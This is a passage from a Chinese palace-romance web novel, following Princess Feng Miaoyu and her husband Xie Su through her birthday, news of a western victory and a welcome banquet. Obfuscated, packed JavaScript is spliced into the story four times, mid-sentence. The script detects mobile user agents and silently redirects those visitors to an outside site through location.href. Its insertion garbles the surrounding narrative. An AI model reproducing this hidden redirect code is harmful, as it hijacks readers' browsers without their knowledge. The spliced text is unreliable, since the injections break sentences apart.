“多嘴。”冯重明拿起玉玺,“受命于天既寿永昌”八个大字落在锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053391|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书右下,帝王的意志,“若有用到这份圣旨的一日,她自然知道该怎么处理的。” “好了,你拿下去好生保管着吧。”冯重明把圣旨交给刘公公,却又不住地咳嗽起来,好一会才止住。 他张开手,掌心里有淡淡的血色。 —— 出了太极宫的宫门,往延禧门方向走了两步,冯妙瑜又突然改了主意。说起来她也有些日子没去凤仪宫看望皇后了,凤仪宫内仍亮着灯,母妃一向睡得晚,冯妙瑜便叫人前去通传,没一会,郑姑姑从里面出来了,她屈身向冯妙瑜行了礼。 “时候不早了,公主请回去早些休息吧。皇后娘娘这会不愿见人。”郑姑姑说。 雨已经停了。积蓄的雨水从瓦檐上落下。 “又吵架了?”冯妙瑜问。 “年前的时候,”郑姑姑动了动嘴,哪怕冯妙瑜已经是有了家室的大姑娘了,父母间的这些事情也不好当着她的面明说,郑姑姑便含糊道:“皇上和娘娘起了些争执。娘娘不是不愿见您,眼下娘娘是谁都不想见。还请公主见谅。” “我知道。” 郑姑姑又道:“奴婢瞧着公主的气色不错,您的身体可是好些了?娘娘嘴上虽然不说,其实心里是担心您的。上次送去的那两个嬷嬷照顾您照顾的可用心?” “好多了。宫里出来的人,自然是好的。那两个嬷嬷做事很细。”冯妙瑜说。 她小产的消息传出去后,张氏便派人送了不少东西,补身子的,日常用的,非常实用,这种事还是女子最清楚了……还派了两个经验老道的嬷嬷专门过去照顾她休养。 “那劳烦姑姑和母妃说一声我来过了,”冯妙瑜抬头望了眼凤仪宫,黑魆魆的,其实什么也看不清楚,她轻轻说,“我走了。” —— 帝王的身体状况是绝对的机密,就连冯妙瑜无权过问,更别说普通臣子了。 大概真的是龙体欠安,不得不提前考虑起自己的身后事,自那天晚上传冯妙瑜入宫后,冯重明又开始器重冯妙瑜了。具体表现就是不论做什么都要带上冯妙瑜一起去,就连去京畿大营校阅都不忘叫冯妙瑜在身边——这是历朝历代前所未有的事情,带一个已经及笄出嫁的公主去大营校阅,这是打算把兵权给她玩玩的意思? 满朝内外一时哗然,众说纷纭。 只是外面的风言风语暂且不论,冯妙瑜自那日后便忙得脚不沾地,难得有空回府也是倒头就睡,谢随看着心疼,却也没法帮她分担,干着急,只能在零碎的小事上更加体贴,让她少些烦扰,能多休息一会是一会。 人忙起来就顾不上时间。 一转眼,春已深了。 三月初七,清明祭祖。 祭祖之事有礼部和太常寺一手操办,冯妙瑜才总算有了些许喘息的功夫。一觉睡到翌日下午。神清气爽。 午后暖阳透过隔扇洒在地上,屋里安静极了,空气里弥漫着淡淡的花香,许久没有这样悠闲过了。冯妙瑜在床上躺了好一会,才有些不情愿地爬起来。 她叫了几声,没人答应,只好自己披了外衣推门出去,院子里也安静极了,空无一人。 又往外走了两步,才终于在梨花树下瞧见了一个人。 61. 61 冯妙瑜想了许久,才记起那人是谁。 是赵岳。 这人竟还在她府里,冯妙瑜有些惊讶,时间过得太快,她都快忘记有这么一号人了。 赵岳也看见了冯妙瑜,本欲打招呼,转念又想起这两日谢随的嘱咐——绝对不能走漏了风声。他低头就想跑,可冯妙瑜已经直直向他这里走过来了。四顾一周,周边空荡荡的,连个能躲藏的地方都没有,装作没看见也不可能了。无路可逃。 冯妙瑜和他打了个招呼,果然问起他这府里的人都上哪儿去了。 赵岳猛地摇头。 非常可疑。 冯妙瑜蹙眉奇怪地打量着他,目光下移,落在了他怀里抱着的长剑上。 “这是……?” 过了好久,赵岳才哑然道:“公主,苍公子好像走了。” “什么时候的事?” “大概昨天早上。前日我见苍公子匆匆忙忙拿着一封信回来,他什么都没说就回屋里去了。昨天早上醒来,我就发现苍公子的剑放在我桌上,而苍公子不知道去了哪里。除了剑以外,他的其他东西也都还留在屋里。公主可知苍公子去了哪里吗?” “也许吧。”冯妙瑜含糊道。 回过神她又责怪起自己粗心,这段时间太忙,竟忘记吩咐底下的人要收好素烟寄来的信件。苍宴肯定是拿了素烟的信,顺着信上的地址去找她了。去了却一桩孽缘。 “那,苍公子还会回来吗?” 赵岳垂头丧气地看着手中那把剑,他也不知道自己为什么要问冯妙瑜这个问题,其实他心里面早已经有了答案。 一个视剑为自己半身的剑客留下自己的佩剑后只身离开,大概是没想过能回来了。 冯妙瑜摇了摇头。 梨花落了一地。 那样一个闹腾又不讨喜的家伙,离开时却是这样不声不响的,一袭白衣消融在清明时节纷纷的雨幕里。落寞到让人讨厌。 冯妙瑜心里也有些难受起来,抬眼,不愿再去看赵岳怀中拿把剑,只淡淡道:“既然他交给你,那便收好这把剑吧。” 冯妙瑜又漫无目的在府里闲逛起来,今天真是奇怪极了,也不知道这府里的人都上哪去了,她一路走到了后花园,才又碰上了个人。 榴红迎面撞见冯妙瑜,大惊,慌里慌张把一双手往身后藏,连话都说不利索了。 “公,公主您不好好休息,怎么跑到这里来了?” 见榴红一脸心虚,冯妙瑜心里越发疑惑了。这是怎么了,怎么府里的人一个个都躲着她,一个个神秘兮兮的。她就命令道:“你手里藏了什么,给我看看。” 榴红不情愿地伸出手,小竹篮里是一大把通体橙红,约有小指粗细的小木条,冯妙瑜又问:“这是什么东西?” “苏木。”榴红说,“是,是厨房用的东西。公主您就别往下问了。” 后面又有几个小丫鬟匆匆忙忙走出来,冯妙瑜分明记得前面是间小厨房,因为是在后花园里,实在偏远,根本就没有人用的,人都挤在这里来做什么。冯妙瑜想了想,越过榴红向小厨房走去。 “公主,公主,您快别往那边去了!” 榴红忙跟着她往小厨房走,挥舞着手,想拦又不敢拦,急的跳脚。 谢随擀好面,正拿起切面刀准备切面,听得有人推门进来,以为是榴红回来了,便头也不抬地说:“煮红蛋用的苏木可取来了?先放在那边吧,等我切完面再准备煮蛋。” 因许久没有得到回应,谢随才抬起头,冯妙瑜正倚着门边看他。 嗓子有些发干,她抿了抿嘴,问他:“谢随,你这是在做什么?” 谢随也有些无措,他本来打算给她一个惊喜,没想被她提前撞破了。他只得如实道:“想给你煮碗生辰面吃。” “今天不是你的生辰吗……去年的时候,我答应过你的。” 冯妙瑜一阵恍惚。 忽然想到今天已是三月初八,是她的生辰了。她自己都忘记了的,他竟还记得。 “饿了吗?”谢随问。 “还好。”冯妙瑜说。 她睡了一天多,本来还没什么感觉,经他这么一问倒真有些饿了。 “厨房里油烟大,呛人,你先在外面坐会,面很快就煮好了。”谢随说。 冯妙瑜却摇了摇头,兀自走进来,找了张还算干净的板凳坐下,也不说什么,只在一旁托着腮安静地看他。 案板边炉灶上咕嘟咕嘟炖煮着浓白的骨头汤,谢随拿起切面刀开始切面。做长寿面有讲究,那面是不能断的,一刀不能切到底。切好了,把面搓揉成条放在盘里盘成一圈醒面。醒面的间隙他也不闲着,熟练地烧水,切洗准备配面的浇头,竹笋,香菇,木耳,油豆泡,胡萝卜丝切的细细的……君子远庖厨,原本是那样众星捧月的人,他是什么时候学会这些的? 冯妙瑜看着看着突然就觉得鼻酸,也许是被厨房里的水汽熏到了,她揉了揉眼睛。 等面煮好,暮色已经渐渐落下来了,浓春的夜是静谧的蓝,后花园那颗西府海棠底下摆了桌案,绛纱灯下除了谢随亲手做的那碗生辰面外还有几十样酒菜,感情她府里的人都被谢随征用来布置这个了。 谢随却还是有些不满意。 过生辰就要热闹点才好。他本来打算请上几位素日与冯妙瑜交好的夫人小姐,好好大办上一场的,途中却被陈嬷嬷给拦下来了。陈嬷嬷不愿说明原因,只非常强硬地说不能大办,要办两个人在府里简单庆祝一下就是。 冯妙瑜拿筷子挑起面条,一碗生辰面本来就没多少,两筷子便连面带汤吃完了,她放下碗筷,忽然想起她似乎没有对谢随说过她生辰具体是在什么时候才对,他是怎么知道的。 “我问的。”谢随摸了摸鼻子,说的轻描淡写。 去年她只说是两人头一回在老书院见面那日,一年多过去,谢随哪还记得具体的日子,只记得是大概暮春的时候。他找府里的仆妇问,她们竟然也都不清楚冯妙瑜的生辰,只说公主府上从来没有为冯妙瑜办过生辰宴……最后还是他想办法托人查了宫里的档案才查出来的。 可以说是几经波折。 但这是他一厢情愿为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058515|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她做的事情,中间经历的这些艰难没必要告诉她。 “给你的生辰礼。” 两杯岭南的博罗酒下肚,谢随才笑着从旁拿出一个锦盒递给冯妙瑜,他抿着嘴,有些期待地看着冯妙瑜,眼睛里映着焰焰跳动着的灯花,那眼神是说不出的认真。 锦盒里是一只青白玉扁镯,玉质温润,镯面上刀刻了浅浅的云纹,非常有古意。 谢随拉过冯妙瑜的手,亲手将那只玉镯戴在她手上,指尖轻轻扫过镯面上的纹路,有些怀念。 这只镯子原是祖父赠予祖母之物,祖母又把它赠予了母亲。 儿时的他趴在母亲膝上,伸手想去摸她妆台上的青白玉镯,却被母亲一巴掌拍在了手背上,笑着说不许乱碰,那是要送给他未来妻子的见面礼云云。如今快十年了,找回这只镯子不易……也算是物归原主了。 “可还喜欢?”谢随问。 冯妙瑜点了点头。 他的声音明明是那样的温柔,可偏偏就是因为那样的温柔,太温柔了,海棠花花瓣在浊绿的酒液里飘摇着,她低头看着手腕上的镯子,突然就哽咽着,忍不住大哭起来。也许是悲哀,也许是委屈,心里实在是难受—— 如果有得选,有谁愿意生在那样一个不详的时日? 太后骂她是灾星,克死了她的夫君,又害得她与她最疼爱的大儿子相隔天涯。母妃说若不是因为被迫着有了她,吃了药落不下去,月份大了瞒不住实在没办法,她怎肯入王府给此生最恨的男子做小……事情是父皇做的,细细想来,他们每个人似乎都是受害的一方,可那是上一辈的恩怨情仇,这些年他们有谁又来问过她的感受了。 这人方才还好端端的,怎么突然就哭成这样,谢随一时错愕,他也不知道冯妙瑜这是怎么了,只能拿了帕子手忙脚乱的替她擦眼泪,手轻轻地,一下一下地抚过她消瘦的背脊。 “这是怎么了?可是我哪里做的不好了?没事,都没事了……” 他像哄着一个任性孩子一样哄着她,冯妙瑜于是抓着他的肩膀,哭的更厉害了,眼泪很快打湿了他肩头的衣裳,过了许久,才堪堪止住。 “你是不是很奇怪,为什么府里从来没有给我办过生辰宴,也没有人会来为我庆生?” 冯妙瑜靠着他的胸膛,突然开口。她眼角脸颊上还泛着淡淡红晕,神情却是很平静的。 “因为十九年前的今天,正是父皇发动三门宫之变,弑父篡位的日子。” 一阵南风温柔地拂过,树影婆娑。 —— 盛京的城门向来是日出时开,日落时闭,这时夜色已深,城门早已经关上了,却仍有一人一马向着城门的方向疾驰而去。 城楼上的守卫听见逼近的马蹄声探头出来,来者的面容藏在夜色与斗笠之下。守卫心道哪来的田舍郎这样没规矩,都这个时间还想进城,便没好气喊道:“喂,骑马那个!你没看见城门已经关上了吗?要进城等明天早上再说!” 骑马之人却丝毫没有停下来的意思。 “信使!立刻开门,朔方军情急报!刻不容缓!” 62. 62 清明时节总是多雨。 这晚夜半突然下起雨来,不是春日常见的毛毛细雨,而是疾风骤雨。 狂风携着雨水哗哗地浇下来,海棠花瓣落了一地,大雨倾盆,两人也顾不上别的了,谢随脱了外衣罩在两人头上,两人顺着小径匆匆跑回屋里,一路上泥水飞溅,两人从头到脚均是一身狼狈。湿漉漉的,雨水从发丝衣角滴滴答答不断滴落,两人互相看着对方,狼狈中又有几分好笑。 屋里丫鬟们早被谢随提前支开了,幸而底下的丫鬟们还算贴心,净房里热水一贯是备好备足了的。 等两人一面嬉戏胡闹,一面擦洗完已经是深夜了。外面雨还在下。好在清明期间官员休沐七日,谢随倒不用早起去应卯。 翌日。 一直睡到了快正午,两人才顶着晕乎乎的脑袋慢吞吞爬起来洗漱用膳。习惯了忙碌一下子闲下来反而不适应,谢随要一直休息到十三,还有四天时间呢,怎么打发时间是个大问题。 谢随用小炉煮了淡茶解酒,递给冯妙瑜一杯,又一本正经地提议道:“去城郊的汤泉玩几天可好?泡汤泉对身体有诸多好处,而且这个时节景色宜人,天气不热不冷也正合适。” 汤泉,那说白了就是个天然的大浴桶。 冯妙瑜不免回想起昨晚的事情,他是嫌府里的浴桶太小了施展不开吗,太丢人了,真不想想起这个……脸颊上不由浮上一层薄红,十分妩媚,她狠狠瞪了谢随一眼,“不去。要去你自个泡去吧!” 他当她不清楚他心里在想什么吗,她的腰腿到现在都还有些酸软,若真顺了他的意去泡汤泉,她还能自己下床吗。 心里的小算盘被她揭穿,谢随倒也没多少意外,他笑笑走到冯妙瑜身旁坐下,温热的呼吸落在她耳后,痒痒的。 “那你想去哪里玩,好歹说个地方出来。” 说着,他搂着冯妙瑜的手也开始不老实起来,在她腰间不轻不重地按揉着。凭心而论,蛮舒服的,新任左谏议大夫大人这端茶递水,按摩伺候人的本事倒还算上乘——如果他的手不总是“不小心”滑到她腰上的敏感处就更好了。 她被他撩拨得有点心猿意马。 “不论我想去哪玩,你都陪着我一起?” “那是自然。你只管说想去哪里玩就是。” “净身房。” 冯妙瑜看他不一眼,凉凉地说。 身侧之人闻言,身体明显一僵,冯妙瑜就笑的前仰后合。 两人喝茶聊天,正打算就这样闲闲消磨了这一日功夫时,阿玉匆匆进来报道:“公主,宫里来人请您即刻入宫一趟。” “是什么事?”冯妙瑜问。 “是喜事,”阿玉说,“来请您的小太监说是西境大捷,大军不日将班师回朝,宫里请您过去同太子殿下一起商议筹备接风宴的事。” “西境大捷?” 冯妙瑜微微一愣。 —— 西境大捷的消息就像长了翅膀一样很快传遍了整个盛京。上至王公贵族,下至平民百姓,有人欣喜,但更多的是茫然。 冯妙瑜忙着宫里的事情不着家,谢随一个人呆在府里实在没意思,只好和王大人几人一起出来喝茶。 天气好极了,惠风和畅,朱雀大街上游人如织。 “前几日不是还说五万大军被围困在灵州城里吗?怎么突然又打赢了?”王冕眯着眼问道。 过完八十大寿后,他便上书致仕了。如今闲在家中,整日弄花逗鸟,正打算过两日随孙女去凤翔府小住一段时日。 “会不会是消息有误?”户部尚书罗大人舀了一大勺卤味花生,就着茶水,吃的津津有味。 “这个你可要问他们了。”王冕笑着指了指谢随和坐在谢随手边的兵部司员外郎唐志。 唐远志也是王冕门下的学生,官位虽居于谢随之下,却比谢随早入仕几年,年纪也比谢随大了足足十岁,按辈分,谢随要叫他一声师兄的。 王冕摇着头,继续感慨道:“我老喽,告老还乡了,如今就只管在家含饴弄孙,享享天伦之乐。至于官场,现在是他们这些年轻人的天下了。” “你这老滑头!不过是告了老,还真成甩手掌柜了!”罗大人就笑着骂他。 “倒是你,都这把年纪了,还占着户部尚书的坑做什么?贪心不足蛇吞象,要我说,你也该给年轻人挪挪位了,趁早赶紧递道折子上去,来和我做伴儿吧!” 两个耄耋老友孩子一样热热闹闹吵做一团,底下两个小辈不好插话,只能无奈笑笑,一个给老师添茶,一个给老师剥花生米,直到两人闹够了,话题才又转到西境的情况上面。 “消息是从宫里直接传出来的,应该不会有假。学生也只是听说是有人解了灵州之围困,又打了蛮族一个措手不及,”谢随抬眼看了眼唐远志,笑着说,“至于再具体的学生就不清楚了,还得问唐远志师兄。毕竟师兄在兵部当差。” “难道是潘青?他虽然在灵州一役上犯了大错,但他若能解灵州之围,击退蛮族,那也算是戴罪立功了。”王冕说。 “不是他。那个潘青这回麻烦大了,要是能活着回来……依学生看,他还不如不回来的好,”唐远志摇摇头说,“这次立下赫赫战功的是南安侯府的世子,林修远。” 南安侯府世子,林修远? 谢随嘴角抽了抽,剥花生的手一顿,一粒花生米滚落在了地上。不过桌上其他人都忙着专心听唐远志说话,没有人注意到他的异常。 “听说他得知大军被围困灵州的消息后,当机立断整合了手下的八千人马,一面放出假消息迷惑蛮族军队,一面从后方切断了蛮族军队的补给,和灵州城内的五万人马联手破了围,又乘胜追击,一举夺回了灵州,梅州,西洲三城且不说——” 唐远志说到兴奋处,忍不住往前探了探身。 “还把蛮族打退了六十多里,拿下了对方一城,俘虏近万人,更是缴获了数以万计的金银异宝……这一次蛮族可谓是元气大伤,没有个几十年是别想卷土重来了。” “果然是虎父无犬子。这下西境可以安稳上好些年了。”罗大人和南安侯私下里有些交情,听到老友的混账儿子终于出人头地也很高兴,他摇着手对王冕道:“南安侯就这么一个宝贝疙瘩,老家伙估计高兴坏了。看来得抓紧去他府上道喜了,去晚了,估计连他家的门都挤不进去了。” “此乃我大梁之幸,是该去南安侯府上恭喜一番。也不知道皇上这次打算怎么犒赏他。我听说南安侯世子好像尚未成亲?少有所成,等他这次回来,媒人怕是要踏破侯府的门槛了。”王冕笑着说。 “可惜我那孙女已经说了亲,”罗大人有些遗憾地叹了口气,突然看向唐远志,“我记得远志好像有一个待字闺中的妹妹?” 唐远志忙不迭地摇头摆手,“罗大人说笑了,南安侯那样的人家,舍妹哪里高攀的上……” 三人有说有笑,只有谢随沉默不语,低头专心地剥花生,手底下越剥越快,花生很快在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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来往探信的侍卫气喘吁吁地进宫报信,脑门上还挂着几朵鲜花,十分滑稽。 “走吧。”冯妙瑜暗中搡了把不想出去晒大太阳的冯敬文。 入夏后,许是天气炎热干燥的缘故,冯重明的身体是一日不如一日了,许多事情不得不交给冯敬文——准确点说,是交给冯妙瑜,由她盯着冯敬文去办。 这是场前所未有的大胜,盛京五品以上的官员全部随着太子和长公主站在宫门口迎接,谢随当然也在其中,不过他只能垂手站在最后面,勉强能看见冯妙瑜的一个背影,她金红色的披帛被风吹得微微扬起。 远处传来人群喧闹的声音,等了好久,谢随才看见一队人马遥遥而来,黑甲玄马,好不威风。 为首那人跳下马向太子等人行了礼,铁甲发出沉闷的响声,没说两句话,又突然转向冯妙瑜—— 也不知道两人说了什么,那位少年将军突然就当着满朝文武的面抱了一下冯妙瑜。 “谢大人?” 站在谢随身旁的太常寺丞是个圆滚滚的大胖子,又矮又胖,不住地擦汗和谢随抱怨着天气炎热难受,说得口干舌燥,半天不见谢随回应,疑惑地扭头,却见这位谢大人方才分明还和煦地笑着,这会的脸色却难看极了,比那冬天里烧得炭还要黑。 “谢大人,您这是怎么了,不要紧吧?”太常寺丞连忙问道。 63. 63 接风宴定在了三日后的夏节,在盛京以西的九成宫。 九成宫四周山林环绕,气候凉爽宜人,是前朝遗留下来的避暑行宫。正好太医建议冯重明到更为凉爽的地方休养,接风宴设在九成宫里,也算是一举两得了。 这还是冯妙瑜头一回亲手筹办这样的宴会,虽说是一回生二回熟,但她也绝不愿闹出岔子惹人笑话。冯敬文借口要写功课脚底抹油早早溜回东宫去了,冯妙瑜又留在宫里再三确认当日的种种仪注流程,直到诸事无论大小均确认无误后,方才从宫中离开回府。 谢随早她好几个时辰回府,冯妙瑜进屋时他已经洗漱过了,只穿了件黑色轻绡的寝衣倚在床边看书—— 冯妙瑜觉得奇怪,不由得多看了他两眼。 谢随很少穿这样的颜色,且那绡衣单薄不说,衣裳的领口还松松散散一直开到胸口处。 他素日是极其注重体面的人,少有这样浪荡的模样。 也许是天气太热了吧。 暑热无君子嘛。冯妙瑜想着,转头就吩咐榴红多添了些冰在屋里。等她洗漱完再回屋,凉风丝丝,那衣裳的领口已经合上了。 果然是屋里太热了。 一连忙碌了许久,宿在宫里虽说不必来回跑节省了路上的功夫,但陌生的宫室总归没有自己府邸熟悉的床榻睡着舒服踏实。 冯妙瑜见谢随似乎一门心思都放在手中的书卷上,连头都不抬一下的,怕打扰了他,只轻轻说了句:“我先睡了。”便脱了鞋袜越过他在床上躺下了。 谢随抿了抿嘴,不死心。端着书翻了个身,面对着冯妙瑜,又忍着冷意把那衣领往下拉了拉。 他刻意咳嗽了两声。 冯妙瑜勉强张开眼睛瞟了他一眼,也不知道这个人今晚犯什么病,看个书还要背着光看,懒得管他,她又闭上眼扭身背对着他继续睡了。 谢随合上书,那书上写了什么东西他其实一个字都没看进去,满脑子全是下午她当着那么多人的面和林修远拥抱的模样。说起来,她和那个林修远可是差一点就成了夫妻,她这是新欢来了便忘了旧爱?兴许喜新厌旧是人的天性……可这么多天没见,久别胜新婚,她却连看他都不愿意多看他一眼,就这样睡了—— 还睡得很安稳的样子。 她怎么睡得着的。 谢随又掀开被子伸臂环住她,脑袋搭在冯妙瑜肩头就想吻她,热乎乎的气息吹在冯妙瑜脸上。 大夏天的! 冯妙瑜扭身用力挣开他的手,这么大一个人凑上来,一个大火炉,他也不嫌热得慌! “我要睡觉了,你这是做什么?”睡得迷迷糊糊被吵醒,冯妙瑜没好气问他。 谢随的手就停在了空中。 好嘛,她这是连给他抱一下都不愿意了?当真是朝秦暮楚,那个什么林修远就有那么好?也是,那可是少年将军,鲜衣怒马的,有谁不喜欢呢。谢随在心里凉凉地想着,总算放开了冯妙瑜。 “你今日与那位林将军倒是亲近的很,怎么同我就不愿意了?”谢随垂眸看着她,低声道:“我听说他原是你母妃为你选定的驸马人选,你果然还是更钟意他一点?他一来,你便不愿同我亲近了。” “什么同他亲近不同你亲近的?” “你下午,”谢随顿了顿,“当着那么多人的面抱了他。” “什么抱他……”冯妙瑜大概回想了一下,啼笑皆非,“那是他一路上骑马过来腿麻了站不稳当,那么多人看着的,我伸手扶他一把而已。我们只是普通朋友——谢大人,你脑子里都在想什么啊。” “你主动抱了他。”谢随强调。 一个武蛮子,腿麻了让他摔在地上就是,反正又摔不死。她这次扶了个林修远,谁知道下次会不会还有什么张修远,王修远的……他心里就是酸的很,这是非常严肃的问题,决不能这么轻易叫她三两句话就给圆过去了。 “都说宰相肚里能撑船,我看谢大人的心眼子还没有芝麻粒大,看来日后是做不成宰相的。” 冯妙瑜有些恨铁不成钢地说,她这会才反应过来谢随今晚这是犯什么病——感情是老陈醋坛子打翻了。 无奈中又觉得有几分好笑。 “好了,好了,脸伸过来。”冯妙瑜说,单手勾着他的脖子在他下巴上亲了一口,有点扎嘴,她又立刻躺了回去,非常敷衍,“这样总行了吧?” 蜻蜓点水,这当然是不行的……远远不够。谢随摸了摸方才被她亲过的脸颊,又把冯妙瑜捞起来继续逼问。 “那你当真对他只是普通朋友,没有别的心思?” “当然。何况人家已经成亲了。” “成亲了?”谢随听完她的话,突然愣了一下。 那林修远什么时候成了有妇之夫了? 冯妙瑜拗不过他,干脆在他怀里找了个舒服又凉快的地方躺下来。 “你不知道?他这次回来可还带了个蛮族姑娘一起回来,说什么也要娶她为妻,把他父亲南安侯气的跳脚。过两天的接风宴,他应该会带上那姑娘一起,”冯妙瑜笑了笑,带着点揶揄地说,“这下你总能放心睡了吧?” “也不知道是什么样的姑娘竟能让他如此死心塌地。”谢随心情大好。 情敌不战而溃,还比这更好的消息吗。他嘴上说着场面话,心里却希望那蛮族姑娘厉害一点,把林修远那厮栓得死死的,离冯妙瑜远远的,最好明天就能收拾包袱回西境去…… —— 夜里飘了一整宿的雨,好在到了早上总算是停了,天灰蒙蒙的,像是笼着一层纱。榴红推开窗好让新风吹进屋里来凉快凉快。 接风宴虽是正午开宴,但九成宫可还远在盛京城外的山上,得早早起来准备。 长公主的礼服是青罗衣料制成的翟衣,朱红的衣领上绣着黼纹,里面是一层青纱中单,蔽膝,外面还有大带,佩绶,一层又一层,裹粽子一样,穿起来十分繁琐。怕弄乱了头发,等穿好衣裳阿玉等才进来给她梳发,双博鬓,佩九树宝钿,十分华贵端庄的打扮。榴红拿了铜镜过来,底下的小丫鬟们围了冯妙瑜一圈,直夸好漂亮。 冯妙瑜深吸了口气,只觉得沉重无比。开玩笑,她脑袋上可是压了一座金银宝山,这珠光宝气的,能不好看吗。 等她梳妆完外头天已经微微亮了,天空中飘着几丝橘红色的云,几缕还带点凉意的风扑面而来,前院的车夫差人来催了又催,说再晚就赶不上时辰了。冯妙瑜匆匆扒了两口早饭上了车,反正车里有阿玉她们提前准备好的点心茶果,谢随也给她单独准备了些路上吃的东西。 一路上除了她们,还有不少马车匆匆忙忙往城外赶。想来都是和她们一样,踩着点儿去赴宴的。 九成宫虽说是前朝遗留下来的避暑行宫,却是前两年才修缮过的。红墙黑瓦,绿林环绕,一路上凉风习习。宫室里面也是同样的凉快。冯妙瑜是费了心的,早早就命上林署的官员运了大量冰块过来,由能工巧匠雕刻成山兽状,环以金玉,既可解暑降温,又能装点宫室。 今日前来赴宴的人多。一众命妇里有大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15064847|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胆的,也有羞于在外男前露面的,于是便分了男女席,用层层纱帐和珠帘隔开,中间有几个面容姣好的伶人抱着琵琶轻轻弹唱,余音绕梁。 接风宴的事情既全权交由冯敬文和冯妙瑜两人来办,冯重明不过是来走个过场。当着众人的面给林修远等人赏赐了些金银田宅,坐下来还没有半个时辰,就借口回去休息了。 帝王摆驾离开后,席间氛围明显松活不少。 在外行军打仗之人本就不拘小节,待几杯冰镇过的酒水下肚,那些繁规琐矩更是抛之脑后了。女眷这边本来还拘着礼,听得男眷那边喧闹起来,又见冯妙瑜并不阻拦,慢慢也放下了规矩,三五成群走动起来,觥筹交错。 来的路上垫了太多点心,冯妙瑜只吃了几颗樱桃便没胃口再吃了。 如今王如意回了凤翔府,赵氏又病了并未出席今日的接风宴。看了一圈,席面上她连个能说说话的人都没有—— 底下倒是还有个姑娘和她一样,孑然一身,一个人坐在那里喝酒。脊背挺的笔直,倔强的,不像是来赴宴的贵女,倒像是个单枪匹马闯进敌方大营的孤胆英雄。 她心里隐隐有了猜测。 冯妙瑜招手唤来宫人,问道:“你可认得下面那个穿红色衣裳姑娘是谁?梳妇人发髻,一个人喝酒那个。” “奴婢之前没见过那位夫人,不过她好像是和林世子一起来的。” “你把她叫到我这里……”话说到一半,冯妙瑜又改变主意,“算了,还是我过去找她吧。” 那蛮族姑娘一个人坐在末位,许是欺负她听不懂雅言,有好些人低低地议论她,其中不乏挖苦嗤笑。 “你们瞧,世上怎么有这样的女子,一点都没有女子该有的模样。方才落座时,她突然一撩裙子,那脚腕都露出来了。吓得我差点晕倒过去,还好今日是分了席的。” “蛮女就是蛮女,我刚刚从她身后走过,那味儿哟……” “我听说啊,他们那里的人一辈子都不洗澡的……” 冯妙瑜藏在衣袖下的手攥紧了,拎着裙摆反而加快脚步。 那道与周遭格格不入的身影,背井离乡来到千里之外陌生土地的孤女,是林修远带回来的蛮族姑娘,也是曾经嫁去蛮地的妙瑶。迥异的文化,不通的语言……妙瑶刚去那边时,是不是也曾像这样被那里的人孤立嘲讽? 冯妙瑜不顾周围人的眼光,走到那蛮族姑娘身边坐下了。 那姑娘捏着酒杯的手一滞,回头看了冯妙瑜一眼,眼底闪过一丝惊讶。但她很快偏过头,不再看冯妙瑜。 冯妙瑜却是眼前一亮。 这姑娘当真是明艳不可方物。墨黑的长眉,五官深邃利索,她那种明艳漂亮和盛京贵女们的明艳漂亮又不是同一种,是凛冽的,甚至带着杀意的。若说盛京贵女的明艳是春和日丽御花园里名贵的魏紫牡丹,那这姑娘就像是一柄出鞘的绝世宝剑,美的凌厉肃杀。 她突然有些嫉妒林修远了。 冯妙瑜和她打招呼,那个姑娘没搭理,冯妙瑜就猜她也许不太能听懂雅言,便换了蛮语,那姑娘总算动了动眉毛。 冯妙瑜又问她叫什么名字,那姑娘总算开口说话,说的却是雅言。 “阿满。” “是哪个满字?”冯妙瑜又问。 “是满……是‘蛮歌豆蔻北人愁,松雨蒲风野艇秋。’的蛮。”① 冯妙瑜怔怔看着阿蛮,好半天才道:“你的雅言说的真好。” “这,这是林教我的。”阿蛮反应极快。 64. 64 炎炎夏日,晶莹的泉水自雕花石槛中涌出,水质清透澄澈,谢随信步走去以手捧水尝之,果然味甘如醴酒。泉水旁一座高约一丈的石碑,正是素有“天下第一正书”之称的《九成宫醴泉铭》。 谢随自幼受谢玄影响,在书法上颇有造诣,路上无意听冯妙瑜提及此处有欧阳询的真迹,便打定了主意要前来观摩。 唐远志本是要一起来的,谁知那家伙正午席上吃多了冰水肠胃不适,谢随便只好自己一个人来了。 